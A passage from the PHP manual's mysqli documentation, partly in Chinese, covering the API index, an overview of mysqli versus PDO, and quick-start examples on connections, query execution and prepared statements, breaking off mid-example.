    • mysqli_stmt::$affected_rows — Returns the total number of rows changed, deleted, inserted, or matched by the last statement executed
    • mysqli_stmt::attr_get — Used to get the current value of a statement attribute
    • mysqli_stmt::attr_set — Used to modify the behavior of a prepared statement
    • mysqli_stmt::bind_param — Binds variables to a prepared statement as parameters
    • mysqli_stmt::bind_result — Binds variables to a prepared statement for result storage
    • mysqli_stmt::close — Closes a prepared statement
    • mysqli_stmt::__construct — Constructs a new mysqli_stmt object
    • mysqli_stmt::data_seek — Adjusts the result pointer to an arbitrary row in the buffered result
    • mysqli_stmt::$errno — Returns the error code for the most recent statement call
    • mysqli_stmt::$error_list — Returns a list of errors from the last statement executed
    • mysqli_stmt::$error — Returns a string description for last statement error
    • mysqli_stmt::execute — Executes a prepared statement
    • mysqli_stmt::fetch — Fetch results from a prepared statement into the bound variables
    • mysqli_stmt::$field_count — Returns the number of columns in the given statement
    • mysqli_stmt::free_result — Frees stored result memory for the given statement handle
    • mysqli_stmt::get_result — Gets a result set from a prepared statement as a mysqli_result object
    • mysqli_stmt::get_warnings — Get result of SHOW WARNINGS
    • mysqli_stmt::$insert_id — Get the ID generated from the previous INSERT operation
    • mysqli_stmt::more_results — Check if there are more query results from a multiple query
    • mysqli_stmt::next_result — Reads the next result from a multiple query
    • mysqli_stmt::$num_rows — Returns the number of rows fetched from the server
    • mysqli_stmt::$param_count — Returns the number of parameters for the given statement
    • mysqli_stmt::prepare — Prepares an SQL statement for execution
    • mysqli_stmt::reset — Resets a prepared statement
    • mysqli_stmt::result_metadata — Returns result set metadata from a prepared statement
    • mysqli_stmt::send_long_data — Send data in blocks
    • mysqli_stmt::$sqlstate — Returns SQLSTATE error from previous statement operation
    • mysqli_stmt::store_result — Stores a result set in an internal buffer
  • mysqli_result — mysqli_result 类
    • mysqli_result::__construct — Constructs a mysqli_result object
    • mysqli_result::$current_field — Get current field offset of a result pointer
    • mysqli_result::data_seek — Adjusts the result pointer to an arbitrary row in the result
    • mysqli_result::fetch_all — Fetch all result rows as an associative array, a numeric array, or both
    • mysqli_result::fetch_array — Fetch the next row of a result set as an associative, a numeric array, or both
    • mysqli_result::fetch_assoc — Fetch the next row of a result set as an associative array
    • mysqli_result::fetch_column — Fetch a single column from the next row of a result set
    • mysqli_result::fetch_field_direct — Fetch meta-data for a single field
    • mysqli_result::fetch_field — Returns the next field in the result set
    • mysqli_result::fetch_fields — Returns an array of objects representing the fields in a result set
    • mysqli_result::fetch_object — Fetch the next row of a result set as an object
    • mysqli_result::fetch_row — Fetch the next row of a result set as an enumerated array
    • mysqli_result::$field_count — Gets the number of fields in the result set
    • mysqli_result::field_seek — Set result pointer to a specified field offset
    • mysqli_result::free — Frees the memory associated with a result
    • mysqli_result::getIterator — Retrieve an external iterator
    • mysqli_result::$lengths — Returns the lengths of the columns of the current row in the result set
    • mysqli_result::$num_rows — Gets the number of rows in the result set
  • mysqli_driver — mysqli_driver 类
    • mysqli_driver::embedded_server_end — Stop embedded server
    • mysqli_driver::embedded_server_start — Initialize and start embedded server
    • mysqli_driver::$report_mode — Sets mysqli error reporting mode
  • mysqli_warning — mysqli_warning 类
    • mysqli_warning::__construct — Private constructor to disallow direct instantiation
    • mysqli_warning::next — Fetch next warning
  • mysqli_sql_exception — mysqli_sql_exception 类
    • mysqli_sql_exception::getSqlState — Returns the SQLSTATE error code
  • 别名和过时的 Mysqli 函数
    • mysqli_connect — 别名 mysqli::__construct
    • mysqli::escape_string — 别名 mysqli_real_escape_string
    • mysqli_execute — 别名 mysqli_stmt_execute
    • mysqli_get_client_stats — 返回客户端进程统计信息
    • mysqli_get_links_stats — 返回打开和缓存的链接相关信息
    • mysqli_report — 别名 mysqli_driver->report_mode
    • mysqli::set_opt — 别名 mysqli_options
  • 更新日志

User Contributed Notes

There are no user contributed notes for this page.


简介

mysqli 扩展允许访问 MySQL 4.1 及以上版本提供的功能。关于 MySQL 数据库服务器的更多信息请参阅 » http://www.mysql.com/。

可在 概述 中找到从 PHP 中使用 MySQL 的软件概述。

MySQL 的文档请查看 » http://dev.mysql.com/doc/。

本文档中的部分内容摘自 Oracle Corporation 许可的 MySQL 手册。

示例使用免费提供的 » world 或 » sakila 数据库。

User Contributed Notes

There are no user contributed notes for this page.


概述

这一部分对在PHP应用开发过程中需要和Mysql数据库交互时可用的选择进行一个简单介绍。

什么是API?

一个应用程序接口（Application Programming Interface的缩写），定义了类，方法，函数，变量等等一切 你的应用程序中为了完成特定任务而需要调用的内容。在PHP应用程序需要和数据库进行交互的时候所需要的API 通常是通过PHP扩展暴露出来（给终端PHP程序员调用）。

API可以是面向过程的，也可以是面向对象的。对于面向过程的API，我们通过调用函数来完成任务，而对于面向对象的API， 我们实例化类，并在实例化后得到的对象上调用方法。对于这两种接口而言，后者通常是首选的，因为它更加现代化，并且 给我们带来了良好的代码结构。

当构建一个需要连接到MySQL服务端的PHP应用的时候，有好几种API可供选择。此文档就是讨论这些可用的API并讨论如何为 你的应用选择一个最佳的解决方案。

什么是连接器?

在MySQL文档中，术语connector解释为"一段允许你的应用连接到MySQL数据库服务器的软件代码"。 MySQL提供了很多语言的连接器，其中包括PHP的。

在你的 PHP 应用需要和一个数据库服务器交互的时候，你需要书写 PHP 代码去完成连接数据库服务器，查询数据库以及其他数据库相关功能 等一系列活动。你的 PHP 应用将会使用提供这些 API 的软件，或者在需要的时候使用一些中间库，来处理你的应用和数据库服务器之间的交互。 这种软件通常被认为是连接器，它允许你的引用连接到数据库服务器。

什么是驱动?

驱动是一段设计用来于一种特定类型的数据库服务器进行交互的软件代码。驱动可能会调用一些库，比如MySQL客户端库或者MySQL Native驱动库。 这些库实现了用于和MySQL数据库服务器进行交互的底层协议。

通过一个例子PDO(PHP Database Object的缩写)数据库抽象层可以 使用多种特定数据库的驱动。其中一种驱动就是PDO MYSQL驱动，它就是与MySQL服务器之间的接口。

有时大家会不加区分的使用连接器和驱动这两个术语。在MySQL相关文档中driver术语被作为一个连接器包 中提供特定数据库部分的软件代码。

什么是扩展?

在 PHP 文档中，会遇到另外一个术语——extension。PHP 代码是由核心，一些可选扩展组成了核心功能。PHP 的 MySQL 相关扩展，比如 mysqli 扩展和 PDO MySQL 驱动都是使用 PHP 扩展框架实现的。

扩展一个典型的作用就是暴露一个API给PHP程序员，允许扩展自己的功能可以被程序员使用。当然，也有一部分基于PHP扩展框架 开发的扩展不会给PHP程序员暴露API接口。

比如说PDO MySQL驱动扩展，就没有向PHP程序员暴露API接口，但是向它上层的PDO层提供了一个接口。

术语API和扩展描述的不是同一类事物，因为扩展可能并不需要暴露一个API接口给程序员。

PHP中提供的用于MySQL的主要API是什么？

当考虑连接到 MySQL 数据库服务器的时候，有两种主要的 API 可供选择：

  • PHP的mysqli扩展

  • PHP数据对象(PDO)

三者都有各自的优缺点。下面的讨论就是为了对每种API的关键方面给出一个简短的介绍。

什么是PHP的mysqli扩展?

mysqli扩展，我们有时称之为MySQL增强扩展，可以用于使用 MySQL4.1.3或更新版本中新的高级特性。mysqli扩展在PHP 5及以后版本中包含。

mysqli扩展有一系列的优势，相对于mysql扩展的提升主要有：

  • 面向对象接口

  • prepared语句支持（译注：关于prepare请参阅mysql相关文档）

  • 多语句执行支持

  • 事务支持

  • 增强的调试能力

在提供了面向对象接口的同时也提供了一个面向过程的接口。

mysqli扩展是使用PHP扩展框架构建的，它的源代码在PHP源码目录下的ext/mysqli中。

对于mysqli扩展的更多信息，请参阅MySQLi。

什么是PDO?

PHP数据对象，是PHP应用中的一个数据库抽象层规范。PDO提供了一个统一的API接口可以使得你的PHP应用不去关心具体要 连接的数据库服务器系统类型。也就是说，如果你使用PDO的API，可以在任何需要的时候无缝切换数据库服务器，比如从Firebird 到MySQL，仅仅需要修改很少的PHP代码。

其他数据库抽象层的例子包括Java应用中的JDBC以及Perl中的DBI。

当然，PDO也有它自己的先进性，比如一个干净的，简单的，可移植的API，它最主要的缺点是会限制让你不能使用 后期MySQL服务端提供所有的数据库高级特性。比如，PDO不允许使用MySQL支持的多语句执行。

PDO是基于PHP扩展框架实现的，它的源码在PHP源码目录的ext/pdo下。

PDO的更多信息，请参阅PDO。

什么是PDO的MySQL驱动器?

PDO的MySQL驱动并不是一套API，至少从PHP程序员的角度来看是这样的。实际上，PDO的MySQL驱动处于PDO自己的下层， 提供了特定的Mysql功能。程序员直接调用PDO的API，而PDO使用了PDO的MySQL驱动完成与MySQL服务器端的交互。

PDO的MySQL驱动是众多PDO驱动中的一个。其他可用的PDO驱动包括Firebird，PostgreSQL等等。

PDO的MySQL驱动是基于PHP扩展框架实现的。它的源码在PHP源码目录下的ext/pdo_mysql。 它没有向PHP程序员暴露API。

PDO的MySQL扩展的更多信息请参阅MySQL (PDO)。

什么是 PHP MySQL Native Driver？

为了与 MySQL 数据库服务端进行交互，mysqli 和 PDO MySQL 驱动都使用了实现了必要的协议的底层库。以前，可用的库只有 MySQL Client 库，也称为 libmysqlclient。

然而，libmysqlclient 提供的接口没有针对与 PHP 的应用交互进行优化，因为 libmysqlclient 早期是为 C 应用程序设计的。基于这个原因，开发 MySQL Native Driver、mysqlnd 作为 libmysqlclient 的 PHP 应用替代方案。

mysqli 扩展和 PDO MySQL 驱动都可以各自配置使用 libmysqlclient 或者 mysqlnd。mysqlnd 作为专门设计用于 PHP 系统的库，它在内存和速度上都比 libmysqlclient 有很大提升。强烈建议使用这些改进。

MySQL Native Driver 是使用 PHP 扩展框架实现的。源代码位于 ext/mysqlnd。它没有向 PHP 程序员露出接口。

特性比较

下表比较了 PHP 连接到 MySQL 主要方法的功能：

PHP 的 MySQL API 选项比较
 | PHP mysqli 扩展 | PDO（使用 PDO MySQL Driver 和 MySQL Native Driver）
引入的 PHP 版本 | 5.0 | 5.0
MySQL 开发状态 | 积极开发 | 积极开发
API 的字符集支持 | 是 | 是
API 的服务端预处理语句支持 | 是 | 是
API 的客户端预处理语句支持 | 否 | 是
API 的存储过程支持 | 是 | 是
API 的多语句支持 | 是 | 大多数
是否支持所有 MySQL 4.1 以上功能 | 是 | 大多数

User Contributed Notes

php-includer at gmail dot com 25-Sep-2014 04:30
mysqli can be great in some circumstances but much work has been put into PHP Portable Data Objects (PDO) which you should also consider when choosing a way to connect to your database using php. For example, PDO supports MySQL with minimal performance hit and the code your write for it will support many other databases with little or no changes. That said, the database connection code, even if you have to change a lot of it to use another database will be much less work than coding your actual database data entry and report apps. When I started creating PHP/MySQL apps years ago, I used php's native support for PHP then moved to PEAR:DB and MDB/MDB2 and finally to wizzyweb which is basically like "phpMyAdmin for Apps" to create apps as it automatically generates the PHP PDO connection code and the application code. Sure, I could code it all from scratch but I save about 90% of the time it used to take. The point is look at the total amount of time you will save by using native code vs. an abstraction layer. Most people find that programmer time is the most valuable part of the equation so anything than can save programmer time should be heavily weighted.
guatebus at dot gmail dot com 13-Oct-2013 12:00
The text: "PDO does not allow you to use MySQL's support for Multiple Statements" is outdated.

Since v5.3, PHP intoduced multiple statement support into PDO (by PDO_MYSQLND driver replacing the previous PDO_MYSQL).


快速入门指南

Table of Contents

  • 面向过程和面向对象，两种接口
  • Connections
  • Executing statements
  • Prepared Statements
  • Stored Procedures
  • Multiple Statements
  • API support for transactions
  • Metadata

本快速入门指南将有助于选择和熟悉 PHP MySQL API。

此快速入门概述了 mysqli 扩展。为 API 的所有主要方面提供了代码示例。 Database concepts are explained to the degree needed for presenting concepts specific to MySQL.

要求：熟悉 PHP 编程语言、SQL 语言、MySQL 服务器基础知识。

User Contributed Notes

There are no user contributed notes for this page.


面向过程和面向对象，两种接口

mysqli 扩展具有双重接口。支持面向过程和面向对象，两种编程范式。

从旧的 mysql 扩展迁移的用户可能更喜欢过程接口。过程接口类似于旧的 mysql 扩展。在许多情况下，函数名称仅在前缀上有所不同。一些 mysqli 函数将连接句柄作为第一个参数，而匹配的旧 mysql 接口函数将其作为可选的最后一个参数。

Example #1 从旧的 mysql 扩展轻松迁移

<?php
$mysqli = mysqli_connect("example.com", "user", "password", "database");
$result = mysqli_query($mysqli, "SELECT 'Please do not use the deprecated mysql extension for new development. ' AS _msg FROM DUAL");
$row = mysqli_fetch_assoc($result);
echo $row['_msg'];

$mysql = mysql_connect("example.com", "user", "password");
mysql_select_db("test");
$result = mysql_query("SELECT 'Use the mysqli extension instead.' AS _msg FROM DUAL", $mysql);
$row = mysql_fetch_assoc($result);
echo $row['_msg'];

以上示例会输出：

Please do not use the deprecated mysql extension for new development. Use the mysqli extension instead.

面向对象接口

除了经典的过程式接口，用户还可以选择使用面向对象接口。文档是使用面向对象的接口组织的。面向对象的接口按用途分组进行展示函数，使其更容易上手。参考部分提供了两种语法变体的示例。

这两个接口之间没有显着的性能差异。用户可以根据个人喜好进行选择。

Example #2 面向对象和面向过程接口

<?php

$mysqli = mysqli_connect("example.com", "user", "password", "database");

$result = mysqli_query($mysqli, "SELECT 'A world full of ' AS _msg FROM DUAL");
$row = mysqli_fetch_assoc($result);
echo $row['_msg'];

$mysqli = new mysqli("example.com", "user", "password", "database");

$result = $mysqli->query("SELECT 'choices to please everybody.' AS _msg FROM DUAL");
$row = $result->fetch_assoc();
echo $row['_msg'];

以上示例会输出：

A world full of choices to please everybody.

面向对象的接口用于快速入门，因为参考部分是以这种方式组织的。

混合风格

可以随时在样式之间切换。出于代码清晰度和编码风格的原因，这两种风格不建议混合使用。

Example #3 糟糕的编码风格

<?php

$mysqli = new mysqli("example.com", "user", "password", "database");

$result = mysqli_query($mysqli, "SELECT 'Possible but bad style.' AS _msg FROM DUAL");

if ($row = $result->fetch_assoc()) {
echo $row['_msg'];
}

以上示例会输出：

Possible but bad style.

参见

  • mysqli::__construct()
  • mysqli::query()
  • mysqli_result::fetch_assoc()
  • $mysqli::connect_errno
  • $mysqli::connect_error
  • $mysqli::errno
  • $mysqli::error
  • MySQLi 扩展的函数概述

User Contributed Notes

Anonymous 06-Jan-2015 11:36
Just want to add that both procedural mysqli_connect_errno and mysqli_connect_error DON'T accept any arguments!
http://php.net/manual/de/mysqli.connect-errno.php
http://php.net/manual/de/mysqli.connect-error.php
"int mysqli_connect_errno ( void )"
"string mysqli_connect_error ( void )"
It clearly states "void" there.

Adding the mysqli-Instance as a parameter makes it look like it pulls the error-number out of the provided instance, which is not actually happening. This could end in a hard to detect bug when connecting to multiple SQL servers.
And it is confusing for beginners.


Connections

The MySQL server supports the use of different transport layers for connections. Connections use TCP/IP, Unix domain sockets or Windows named pipes.

The hostname localhost has a special meaning. It is bound to the use of Unix domain sockets. To open a TCP/IP connection to the localhost, 127.0.0.1 must be used instead of the hostname localhost.

Example #1 Special meaning of localhost

<?php

$mysqli = new mysqli("localhost", "user", "password", "database");

echo $mysqli->host_info . "\n";

$mysqli = new mysqli("127.0.0.1", "user", "password", "database", 3306);

echo $mysqli->host_info . "\n";

以上示例会输出：

Localhost via UNIX socket
127.0.0.1 via TCP/IP

Connection parameter defaults

Depending on the connection function used, assorted parameters can be omitted. If a parameter is not provided, then the extension attempts to use the default values that are set in the PHP configuration file.

Example #2 Setting defaults

mysqli.default_host=192.168.2.27
mysqli.default_user=root
mysqli.default_pw=""
mysqli.default_port=3306
mysqli.default_socket=/tmp/mysql.sock

The resulting parameter values are then passed to the client library that is used by the extension. If the client library detects empty or unset parameters, then it may default to the library built-in values.

Built-in connection library defaults

If the host value is unset or empty, then the client library will default to a Unix socket connection on localhost. If socket is unset or empty, and a Unix socket connection is requested, then a connection to the default socket on /tmp/mysql.sock is attempted.

On Windows systems, the host name . is interpreted by the client library as an attempt to open a Windows named pipe based connection. In this case the socket parameter is interpreted as the pipe name. If not given or empty, then the socket (pipe name) defaults to \\.\pipe\MySQL.

If neither a Unix domain socket based not a Windows named pipe based connection is to be established and the port parameter value is unset, the library will default to port 3306.

The mysqlnd library and the MySQL Client Library (libmysqlclient) implement the same logic for determining defaults.

Connection options

Connection options are available to, for example, set init commands which are executed upon connect, or for requesting use of a certain charset. Connection options must be set before a network connection is established.

For setting a connection option, the connect operation has to be performed in three steps: creating a connection handle with mysqli_init() or mysqli::__construct(), setting the requested options using mysqli::options(), and establishing the network connection with mysqli::real_connect().

Connection pooling

The mysqli extension supports persistent database connections, which are a special kind of pooled connections. By default, every database connection opened by a script is either explicitly closed by the user during runtime or released automatically at the end of the script. A persistent connection is not. Instead it is put into a pool for later reuse, if a connection to the same server using the same username, password, socket, port and default database is opened. Reuse saves connection overhead.

Every PHP process is using its own mysqli connection pool. Depending on the web server deployment model, a PHP process may serve one or multiple requests. Therefore, a pooled connection may be used by one or more scripts subsequently.

Persistent connection

If an unused persistent connection for a given combination of host, username, password, socket, port and default database cannot be found in the connection pool, then mysqli opens a new connection. The use of persistent connections can be enabled and disabled using the PHP directive mysqli.allow_persistent. The total number of connections opened by a script can be limited with mysqli.max_links. The maximum number of persistent connections per PHP process can be restricted with mysqli.max_persistent. Please note that the web server may spawn many PHP processes.

A common complain about persistent connections is that their state is not reset before reuse. For example, open and unfinished transactions are not automatically rolled back. But also, authorization changes which happened in the time between putting the connection into the pool and reusing it are not reflected. This may be seen as an unwanted side-effect. On the contrary, the name persistent may be understood as a promise that the state is persisted.

The mysqli extension supports both interpretations of a persistent connection: state persisted, and state reset before reuse. The default is reset. Before a persistent connection is reused, the mysqli extension implicitly calls mysqli::change_user() to reset the state. The persistent connection appears to the user as if it was just opened. No artifacts from previous usages are visible.

The mysqli::change_user() call is an expensive operation. For best performance, users may want to recompile the extension with the compile flag MYSQLI_NO_CHANGE_USER_ON_PCONNECT being set.

It is left to the user to choose between safe behavior and best performance. Both are valid optimization goals. For ease of use, the safe behavior has been made the default at the expense of maximum performance.

See also

  • mysqli::__construct()
  • mysqli_init()
  • mysqli::options()
  • mysqli::real_connect()
  • mysqli::change_user()
  • $mysqli::host_info
  • MySQLi Configuration Options
  • Persistent Database Connections

User Contributed Notes

xylene2301 at gmail dot com 11-Aug-2022 10:47
"The hostname localhost has a special meaning. It is bound to the use of Unix domain sockets. To open a TCP/IP connection to the localhost, 127.0.0.1 must be used instead of the hostname localhost."

Is there something I missed or is this 1st provision incorrect?
On windows11, using PHP 7.4 and MySQL 8,

$conn = new mysqli("localhost", "root", "pword", "tstDB");
echo $conn->host_info . "\n";

returns:
localhost via TCP/IP Connected to the database.


Executing statements

Statements can be executed with the
mysqli::query(), mysqli::real_query()
and mysqli::multi_query().
The mysqli::query() function is the most
common, and combines the executing statement with a
buffered fetch of its result set, if any, in one call.
Calling mysqli::query() is identical to
calling mysqli::real_query()
followed by mysqli::store_result().

Example #1 Executing queries

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");

Buffered result sets

After statement execution, results can be either retrieved all at once or read row by row from the server. Client-side result set buffering allows the server to free resources associated with the statement's results as early as possible. Generally speaking, clients are slow consuming result sets. Therefore, it is recommended to use buffered result sets. mysqli::query() combines statement execution and result set buffering.

PHP applications can navigate freely through buffered results. Navigation is fast because the result sets are held in client memory. Please, keep in mind that it is often easier to scale by client than it is to scale the server.

Example #2 Navigation through buffered results

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

$result = $mysqli->query("SELECT id FROM test ORDER BY id ASC");

echo "Reverse order...\n";
for ($row_no = $result->num_rows - 1; $row_no >= 0; $row_no--) {
$result->data_seek($row_no);
$row = $result->fetch_assoc();
echo " id = " . $row['id'] . "\n";
}

echo "Result set order...\n";
foreach ($result as $row) {
echo " id = " . $row['id'] . "\n";
}

以上示例会输出：

Reverse order...
 id = 3
 id = 2
 id = 1
Result set order...
 id = 1
 id = 2
 id = 3

Unbuffered result sets

If client memory is a short resource and freeing server resources as early as possible to keep server load low is not needed, unbuffered results can be used. Scrolling through unbuffered results is not possible before all rows have been read.

Example #3 Navigation through unbuffered results

<?php

$mysqli->real_query("SELECT id FROM test ORDER BY id ASC");
$result = $mysqli->use_result();

echo "Result set order...\n";
foreach ($result as $row) {
echo " id = " . $row['id'] . "\n";
}

Result set values data types

The mysqli::query(), mysqli::real_query() and mysqli::multi_query() functions are used to execute non-prepared statements. At the level of the MySQL Client Server Protocol, the command COM_QUERY and the text protocol are used for statement execution. With the text protocol, the MySQL server converts all data of a result sets into strings before sending. This conversion is done regardless of the SQL result set column data type. The mysql client libraries receive all column values as strings. No further client-side casting is done to convert columns back to their native types. Instead, all values are provided as PHP strings.

Example #4 Text protocol returns strings by default

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))");
$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')");

$result = $mysqli->query("SELECT id, label FROM test WHERE id = 1");
$row = $result->fetch_assoc();

printf("id = %s (%s)\n", $row['id'], gettype($row['id']));
printf("label = %s (%s)\n", $row['label'], gettype($row['label']));

以上示例会输出：

id = 1 (string)
label = a (string)

It is possible to convert integer and float columns back to PHP numbers by setting the MYSQLI_OPT_INT_AND_FLOAT_NATIVE connection option, if using the mysqlnd library. If set, the mysqlnd library will check the result set meta data column types and convert numeric SQL columns to PHP numbers, if the PHP data type value range allows for it. This way, for example, SQL INT columns are returned as integers.

Example #5 Native data types with mysqlnd and connection option

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = new mysqli();
$mysqli->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);
$mysqli->real_connect("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))");
$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')");

$result = $mysqli->query("SELECT id, label FROM test WHERE id = 1");
$row = $result->fetch_assoc();

printf("id = %s (%s)\n", $row['id'], gettype($row['id']));
printf("label = %s (%s)\n", $row['label'], gettype($row['label']));

以上示例会输出：

id = 1 (integer)
label = a (string)

See also

  • mysqli::__construct()
  • mysqli::options()
  • mysqli::real_connect()
  • mysqli::query()
  • mysqli::multi_query()
  • mysqli::use_result()
  • mysqli::store_result()

User Contributed Notes

There are no user contributed notes for this page.


Prepared Statements

The MySQL database supports prepared statements. A prepared statement or a parameterized statement is used to execute the same statement repeatedly with high efficiency and protect against SQL injections.

Basic workflow

The prepared statement execution consists of two stages: prepare and execute. At the prepare stage a statement template is sent to the database server. The server performs a syntax check and initializes server internal resources for later use.

The MySQL server supports using anonymous, positional placeholder with ?.

Prepare is followed by execute. During execute the client binds parameter values and sends them to the server. The server executes the statement with the bound values using the previously created internal resources.

Example #1 Prepared statement

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

/* Non-prepared statement */
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label TEXT)");

/* Prepared statement, stage 1: prepare */
$stmt = $mysqli->prepare("INSERT INTO test(id, label) VALUES (?, ?)");

/* Prepared statement, stage 2: bind and execute */
$id = 1;
$label = 'PHP';
$stmt->bind_param("is", $id, $label); // "is" means that $id is bound as an integer and $label as a string

$stmt->execute();

Repeated execution

A prepared statement can be executed repeatedly. Upon every execution the current value of the bound variable is evaluated and sent to the server. The statement is not parsed again. The statement template is not transferred to the server again.

Example #2 INSERT prepared once, executed multiple times

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

/* Non-prepared statement */
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label TEXT)");

/* Prepared statement, stage 1: prepare */
$stmt = $mysqli->prepare("INSERT INTO test(id, label) VALUES (?, ?)");

/* Prepared statement, stage 2: bind and execute */
$stmt->bind_param("is", $id, $label); // "is" means that $id is bound as an integer and $label as a string

$data = [
1 => 'PHP',
2 => 'Java',
3 => 'C++'
];
foreach ($data as $id => $label) {
$stmt->execute();
}

$result = $mysqli->query('SELECT id, label FROM test');
var_dump($result->fetch_all(MYSQLI_ASSOC));

以上示例会输出：

array(3) {
  [0]=>
  array(2) {
    ["id"]=>
    string(1) "1"
    ["label"]=>
    string(3) "PHP"
  }
  [1]=>
  array(2) {
    ["id"]=>
    string(1) "2"
    ["label"]=>
    string(4) "Java"
  }
  [2]=>
  array(2) {
    ["id"]=>
    string(1) "3"
    ["label"]=>
    string(3) "C++"
  }
}

Every prepared statement occupies server resources. Statements should be closed explicitly immediately after use. If not done explicitly, the statement will be closed when the statement handle is freed by PHP.

Using a prepared statement is not always the most efficient way of executing a statement. A prepared statement executed only once causes more client-server round-trips than a non-prepared statement. This is why the SELECT is not run as a prepared statement above.

Also, consider the use of the MySQL multi-INSERT SQL syntax for INSERTs. For the example, multi-INSERT requires fewer round-trips between the server and client than the prepared statement shown above.

Example #3 Less round trips using multi-INSERT SQL

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");

$values = [1, 2, 3, 4];

$stmt = $mysqli->prepare("INSERT INTO test(id) VALUES (?), (?), (?), (?)");
$stmt->bind_param('iiii', ...$values);
$stmt->execute();

Result set values data types

The MySQL Client Server Protocol defines a different data transfer protocol for prepared statements and non-prepared statements. Prepared statements are using the so called binary protocol. The MySQL server sends result set data "as is" in binary format. Results are not serialized into strings before sending. Client libraries receive binary data and try to convert the values into appropriate PHP data types. For example, results from an SQL INT column will be provided as PHP integer variables.

Example #4 Native datatypes

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

/* Non-prepared statement */
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label TEXT)");
$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'PHP')");

$stmt = $mysqli->prepare("SELECT id, label FROM test WHERE id = 1");
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

printf("id = %s (%s)\n", $row['id'], gettype($row['id']));
printf("label = %s (%s)\n", $row['label'], gettype($row['label']));

以上示例会输出：

id = 1 (integer)
label = PHP (string)

This behavior differs from non-prepared statements. By default, non-prepared statements return all results as strings. This default can be changed using a connection option. If the connection option is used, there are no differences.

Fetching results using bound variables

Results from prepared statements can either be retrieved by binding output variables, or by requesting a mysqli_result object.

Output variables must be bound after statement execution. One variable must be bound for every column of the statements result set.

Example #5 Output variable binding

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

/* Non-prepared statement */
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label TEXT)");
$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'PHP')");

$stmt = $mysqli->prepare("SELECT id, label FROM test WHERE id = 1");
$stmt->execute();

$stmt->bind_result($out_id, $out_label);

while ($stmt->fetch()) {
printf("id = %s (%s), label = %s (%s)\n", $out_id, gettype($out_id), $out_label, gettype($out_label));
}

以上示例会输出：

id = 1 (integer), label = PHP (string)

Prepared statements return unbuffered result sets by default. The results of the statement are not implicitly fetched and transferred from the server to the client for client-side buffering. The result set takes server resources until all results have been fetched by the client. Thus it is recommended to consume results timely. If a client fails to fetch all results or the client closes the statement before having fetched all data, the data has to be fetched implicitly by mysqli.

It is also possible to buffer the results of a prepared statement using mysqli_stmt::store_result().

Fetching results using mysqli_result interface

Instead of using bound results, results can also be retrieved through the mysqli_result interface. mysqli_stmt::get_result() returns a buffered result set.

Example #6 Using mysqli_result to fetch results

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

/* Non-prepared statement */
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label TEXT)");
$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'PHP')");

$stmt = $mysqli->prepare("SELECT id, label FROM test WHERE id = 1");
$stmt->execute();

$result = $stmt->get_result();

var_dump($result->fetch_all(MYSQLI_ASSOC));

以上示例会输出：

array(1) {
  [0]=>
  array(2) {
    ["id"]=>
    int(1)
    ["label"]=>
    string(3) "PHP"
  }
}

Using the mysqli_result interface offers the additional benefit of flexible client-side result set navigation.

Example #7 Buffered result set for flexible read out

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

/* Non-prepared statement */
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label TEXT)");
$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'PHP'), (2, 'Java'), (3, 'C++')");

$stmt = $mysqli->prepare("SELECT id, label FROM test");
$stmt->execute();

$result = $stmt->get_result();

for ($row_no = $result->num_rows - 1; $row_no >= 0; $row_no--) {
$result->data_seek($row_no);
var_dump($result->fetch_assoc());
}

以上示例会输出：

array(2) {
  ["id"]=>
  int(3)
  ["label"]=>
  string(3) "C++"
}
array(2) {
  ["id"]=>
  int(2)
  ["label"]=>
  string(4) "Java"
}
array(2) {
  ["id"]=>
  int(1)
  ["label"]=>
